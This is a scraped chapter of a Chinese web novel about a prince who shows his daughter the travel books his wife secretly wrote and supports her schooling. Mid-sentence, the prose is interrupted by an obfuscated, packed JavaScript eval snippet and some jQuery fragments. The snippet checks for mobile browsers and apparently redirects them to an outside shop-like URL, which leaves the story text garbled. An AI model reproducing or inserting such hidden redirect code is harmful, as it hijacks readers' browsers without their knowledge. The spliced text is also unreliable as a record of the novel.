“樂安。”祝回雪怕她惹得虞靜延不悅,連忙喝止,不許她再這樣口無遮攔。
虞靜延還沒有離開,自然聽到了樂安的全部疑問,停下了離開的腳步。
“她們都藏了起來,等你長大,自然就能看見了。”
虞靜延轉身回來,從書架前拿出了幾本書,放在樂安麵前。祝回雪感覺有些熟悉,看清後竟發現是——
她的書!
晉王府鮮少有人聽過她寫書的事,就連樂安也不知道。祝回雪微驚,不知他要做什麼,而樂安此時已經被麵前幾本裝訂精致的書本吸引住目光,問道:“父王,這是什麼?”
虞靜延說:“這幾本遊記在民間暢銷,有許多人喜歡,但他們都不知道,這些書的作者是一位遊過一半大齊江山的女子。”
“好厲害!”樂安眼睛亮了起來,小手翻開第一頁,指著一個字一個字地念:“歸、雪、山、人——”
祝回雪胸中咚咚狂跳起來,連四肢手腳都因心頭的震動感受到酥麻。她受世俗束縛而不敢暴露於人前,甚至藏著掖著的身份,就這樣被她的夫君展示在他們的女兒麵前,沒有驚詫或不理解的神情,一人平和地講述,一人稚嫩地向往。
虞靜延望著女兒專注的一邊小臉,眸色不自覺變得柔和,繼續說:“除了她,世上還有很多這樣的女子。樂安長大了,也可以像她們一樣做自己喜歡的事。”
“我也要成為這樣的女子!”樂安興高采烈地站起來:“母妃,父王,以後我想去朝堂上做女大人,可以嗎?”
祝回雪胸口鼓脹,似滿足似驕傲的情緒仿佛就要噴湧而出,有虞靜延的話在前,這一刻,她拋卻了所有的顧忌
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147296|131511||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
,蹲在樂安麵前。
“隻要你想,就沒什麼不可能的。”
-
從樂安房中出來,虞靜延準備去見大臣,祝回雪叫住他:“殿下。”
虞靜延停住,等著她說話。祝回雪抿抿唇,忍著緊張試探:“殿下對樂安說了那麼多,不怕她日後當真走偏,也做一些離經叛道的事嗎?”
虞靜延目光微頓,從一個“也”中精準地捕捉到了她的意思。
日光溫暖,廊下沒有彆人,氣氛正好。虞靜延看著她,說:“我沒有覺得你那是離經叛道。”
“真的嗎?”祝回雪抬起頭,被這話砸得愣住了。
虞靜延不知她為何會覺得自己反對她寫作,難道是他從前態度不太好,所以讓她誤解?
他默默回想一番,無奈道:“你喜歡胡思亂想,樂安就像你。”
麵前人臉上沒有半點打趣的神情,正經得很。祝回雪以為他在取笑她,耳朵紅了紅,沒有把他的話放在心上,那點感動和意外的心情也無形中消去了。
“妾身沒有。”她低著頭乾巴巴道。
虞靜延心中頗為好笑,但沒有表露出來:“你說沒有便沒有吧。”
兩人並肩走在廊上,祝回雪沉吟片刻,道:“妾身想給樂安換一個教書先生,殿下能否允準?”
虞靜延知道她心中所想,是覺得現在那個先生的觀念太迂腐保守,久而久之怕樂安走偏。那些年邁大儒固然博學,但思想停留在過去,口中所謂好女子的模樣,並不是他們兩個為人父母想要看到的、樂安將來的樣子。
他道:“明日我會上書父皇,提一提重開太學之事。”
祝回雪怔了怔,隨即難掩喜色:“殿下的意思是,想讓樂安入太學讀書?”
太學是皇室禦用的教書開蒙之地,昔日虞帝開國登基,膝下子女都尚且年幼,於是開太學,聘良師教導諸皇子公主,又為他們廣招各家貴族子弟作陪讀,如虞靜延四兄妹、蕭紹、蘇昀等人,都曾經是太學門下學生。多年以後皇嗣們長大成人,太學沒了需要管教的學生,於是功成身退,奉旨關閉求學之門。現在到了下一輩,皇家子嗣稀少,太學便沒有再次開啟。
歡喜之餘,祝回雪也憂心:“皇孫這代隻有樂安一人,實在是太少,殿下為她提起重開太學,恐會遭人議論。”
“樂安是皇長孫女,去太學讀書理所應當,縱使朝中有人異議,我亦不會讓步。”虞靜延安撫她道:“這隻是小事。樂安聰穎機靈,父皇寵愛她,會答應的。”
他這樣說,祝回雪也就放下心:“那就有勞殿下了。”
對自己女兒的學業上心,哪裡談得上什麼勞累。不知為何,虞靜延感覺有點奇怪,這幾日待在一起,總覺得祝回雪待他的態度不如前段時日那樣親近,好像又回到了過去相敬如賓的狀態,讓他感到莫名的不習慣。
興許是近日天氣熱的緣故。畢竟入夏多日,連樂安都央著鬨著要多吃一碗冰。
虞靜延這樣想著,也就沒放在心上,先去書房處理公事了。祝回雪站在廊前目送他離開,清透的眸子裡情緒紛雜。
他疼愛樂安,不願看見自己的女兒成為一個失去自我,隻知相夫教子的女子,甚至接納她驚世駭俗的行為,把她的書拿給樂安看。這一切,都證明了她們母女在他心中的分量。
一種又甜又苦的感覺霸占了祝回雪的心。前幾日石榴百子緞的事還曆曆在目,她原本怨他,現在卻覺得進退兩難,既怨不得,又愛不得。